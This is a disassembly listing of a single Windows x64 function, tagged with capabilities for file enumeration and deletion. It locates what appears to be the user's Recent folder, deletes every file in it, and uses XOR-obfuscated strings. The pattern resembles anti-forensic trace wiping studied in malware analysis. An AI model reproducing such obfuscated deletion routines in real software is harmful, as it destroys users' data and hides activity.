Function at 0x14004d7d0
Capabilities:
Delete file
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6e0]
sub rsp, 0x7e0
mov rax, qword [0x14016b0c0]
xor rax, rsp
mov qword [rbp + 0x6d0], rax
xor r9d, r9d
lea rax, [rbp + 0x2b0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 8]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x14004d9b9
movabs r13, 0xc0bbaf38172d7dd3
lea rcx, [rbp + 0x220]
mov qword [rsp + 0x30], r13
movabs r12, 0xe5c7a650d22341be
mov rax, qword [rsp + 0x30]
movabs rsi, 0xb49bcb5d7b441c95
mov qword [rbp + 0x220], rax
movabs r14, 0xb336234fae1243a
movabs rax, 0x6e6142409f860455
movabs r15, 0xb9b2d81febbbaff7
mov qword [rsp + 0x30], rax
movabs rdi, 0x2aafbff6e6e58e44
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x228], rax
movabs rax, 0xd5ddbe3f9fd5ca94
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x230], rax
movabs rax, 0x42dbde86c697eb20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x238], rax
movabs rax, 0x7f483479cfb75083
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x240], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x248], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x1e0], rax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x1e8], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x7f483479cfb75089
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x230]
xorps xmm1, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm0, xmmword [rbp + 0x240]
mov qword [rbp + 0x208], rax
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmmword [rbp + 0x230], xmm1
call fcn.140003b80
jmp 0x14004dc16
lea r8, [0x14014ab10]
mov qword [rsp + 0x810], rbx
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14004dc42
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs r13, 0xc0bbaf38172d7dd3
movabs rsi, 0xb49bcb5d7b441c95
mov qword [rsp + 0x30], r13
mov edx, eax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x6d13065a93870455
mov qword [rbp + 0x1e0], rcx
movabs r14, 0xb336234fae1243a
mov qword [rsp + 0x30], rax
movabs r15, 0xb9b2d81febbbaff7
mov rcx, qword [rsp + 0x30]
movabs rax, 0xd5dbbe3f9fc8dd9e
mov qword [rbp + 0x1e8], rcx
movabs rdi, 0x2aafbff6e6e58e44
mov qword [rsp + 0x30], rax
movabs r12, 0xe5c7a650d22341be
mov rcx, qword [rsp + 0x30]
movabs rax, 0x49caedd6888cae21
mov qword [rbp + 0x1f0], rcx
movabs rcx, 0x49f3e89224df2498
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x1b245b1fefc33eec
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x200], rax
movabs rax, 0x8ab5d415f20d33db
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x208], rax
movabs rax, 0x57749c5fdc702979
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x210], rax
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x218], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x220], rax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x228], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x230], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x238], rax
movabs rax, 0x7f483479cfb75089
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x240], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x248], rax
movabs rax, 0x5774963bf950130b
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x250], rax
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1e0]
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmm1, xmmword [rbp + 0x1f0]
xorps xmm1, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1f0], xmm1
movdqa xmm1, xmmword [rbp + 0x210]
mov qword [rbp + 0x258], rax
xorps xmm1, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmmword [rbp + 0x210], xmm1
call fcn.140003b80
mov rbx, qword [rsp + 0x810]
mov rcx, qword [rbp + 0x6d0]
xor rcx, rsp
call fcn.140126e40
lea r11, [rsp + 0x7e0]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x2b0]
mov rax, 0xffffffffffffffff
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x14004dc50
lea rax, [rax*2 - 2]
cmp rax, 0x208
jae 0x14004df67
xor ecx, ecx
movabs rsi, 0xb49bcb5d7b441c95
mov word [rbp + rax + 0x2b0], cx
movabs rdi, 0x2aafbff6e6e58e44
movabs r13, 0xc0bbaf38172d7dd3
movabs r12, 0xe5c7a650d22341be
movabs r14, 0xb336234fae1243a
movabs r15, 0xb9b2d81febbbaff7
nop word [rax + rax]
movzx ecx, word [rbp - 0x44]
movzx eax, word [rbp - 0x42]
cmp cx, 0x2e
jne 0x14004dcec
test ax, ax
je 0x14004df44
cmp cx, cx
jne 0x14004dcec
cmp ax, cx
jne 0x14004dcec
cmp word [rbp - 0x40], 0
je 0x14004df44
lea rax, [rbp - 0x44]
mov edx, 0x104
lea r9, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea r8, [0x14014ab18]
lea rcx, [rbp + 0x4c0]
call fcn.140046270
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14004de6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], r13
lea rdx, [rbp + 0x4c0]
mov rcx, qword [rsp + 0x30]
mov r8d, eax
mov qword [rsp + 0x60], rcx
movabs rax, 0x6e4707589f850455
mov qword [rsp + 0x30], rax
movabs rax, 0x9c92e27a87d2c9d7
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x30], rax
movabs rax, 0x58c0cd84a3c5a037
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x78], rax
movabs rax, 0x7f483473ab9270b3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], r14
mov qword [rbp + 0x280], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], r15
mov qword [rbp + 0x288], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x290], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x298], rax
movabs rax, 0x7f483479cfb75089
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x2a0], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
mov qword [rbp + 0x2a8], rax
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rsp + 0x70], xmm1
call fcn.140003b80
jmp 0x14004df44
movabs rax, 0x94ffae291e2879d1
lea rdx, [rbp + 0x4c0]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
movabs rax, 0x7816420e9f8d4d5c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
movabs rax, 0xb9b2d81febbbaffd
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], r14
mov qword [rbp + 0x260], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x270], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x40]
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x260]
mov qword [rbp + 0x278], rax
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
call fcn.140003b80
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14004dcc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x14004dc0e
call fcn.140126f68
int3